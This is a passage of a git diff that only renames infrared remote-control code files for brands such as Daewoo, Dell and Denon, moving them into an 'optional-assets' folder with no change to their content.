a/assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dell/TV/0,28.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dell/TV/0,28.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir rename to 